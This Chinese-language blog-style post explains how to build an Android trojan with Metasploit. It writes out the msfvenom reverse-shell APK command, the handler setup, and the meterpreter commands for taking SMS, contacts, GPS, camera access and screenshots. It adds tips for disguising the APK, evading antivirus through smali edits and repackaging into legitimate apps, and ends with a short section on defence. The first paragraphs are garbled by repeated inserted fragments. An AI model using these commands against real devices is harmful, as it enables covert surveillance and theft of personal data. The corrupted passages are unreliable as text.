msf生成安卓木马

Metasploit Framework 里敲下 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o evil.apk,成安回车,卓木一个 APK 文件就躺在当前目录了。成安整个过程不到十秒。卓木这就是成安安卓木马生成的门槛——低到让人后背发凉。

我头一回跑这条命令是卓木在一台 Kali 虚拟机上。LHOST 填的成安是虚拟机桥接网卡的地址,LPORT 随便挑了 4444。卓木生成的成安 evil.apk 大小大概 10KB 出头,比一张缩略图还小。卓木你把这个文件发给目标,成安对方点一下安装,卓木木马就跑起来了。成安当然,卓木Android 8.0 以后系统默认禁止安装未知来源应用,成安得手动去设置里打开“允许安装未知应用”的开关。这一步是最大的社会工程学门槛,但也仅仅是“点两下设置”的程度。

Payload 到底做了什么

msfvenom 生成的这个 APK 本质上是一个壳。安装后它会在桌面留一个图标,名字通常叫 “MainActivity”,图标是安卓默认的绿色机器人。点开之后屏幕一闪就退了,看起来像是一个崩溃的 App。但后台已经建立了反向 TCP 连接,连回你设定的 LHOST:LPORT。

这时候你在 msfconsole 里已经挂好了 handler:

use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j 

目标一点安装,你这边 session 就弹出来了。meterpreter 会话能做的事不少:webcam_list 看摄像头、dump_sms 导短信、dump_contacts 拉通讯录、geolocate 拿 GPS 坐标。还有一个 screenshot 命令,直接截当前屏幕。我试过在测试机上跑,截出来的图清晰度跟正常截图没区别。

免杀是另一回事

上面这套流程在实验环境里跑得通,扔到真实目标上大概率秒被查杀。国内主流手机厂商的安全中心对 msf 默认 payload 的签名和特征早就入库了。安装的时候弹“该应用存在安全风险”,基本就凉了。

想绕过检测,得改 smali 代码、换签名、加壳、混淆。有人用 apktool 反编译 APK,把 payload 的 smali 文件里的特征字符串改掉,再重新打包签名。也有人拿一个正常的 App 做宿主,把恶意 dex 塞进去。这些操作在网上有大量教程,工具链也成熟。说白了,msfvenom 只是起点,后面的免杀才是真正花时间的地方。

我个人的观察是,纯用 msf 生成的安卓木马,在 2024 年的真实场景里存活率极低。它的价值更多在于快速验证概念、做内部渗透测试、或者打 CTF。真要做红队项目,Cobalt Strike 的安卓 payload 或者定制化的商业木马框架才是常见选择。但 msf 胜在免费、开源、上手快。一条命令就能出活,这个便利性没法忽视。

防御端怎么看

从防守角度,普通用户其实不用太担心这种攻击。前提是你别去点来路不明的 APK。Google Play 和国内主流应用商店的审核机制能拦下绝大部分恶意应用。真正的风险场景是钓鱼——攻击者伪装成“系统更新包”“快递查询工具”发给你,诱导你手动安装。

企业环境里,MDM 方案可以强制禁止未知来源安装,再配合网络层的流量检测,meterpreter 的反向连接特征其实挺明显的。固定端口、固定心跳间隔、TLS 指纹异常,这些都能作为检测点。

说到底,msf 生成安卓木马这件事,技术门槛已经趋近于零。真正决定成败的不是工具本身,而是社会工程学的话术、免杀的耐心、以及对目标环境的了解程度。工具就在那里,用不用、怎么用,是人的问题。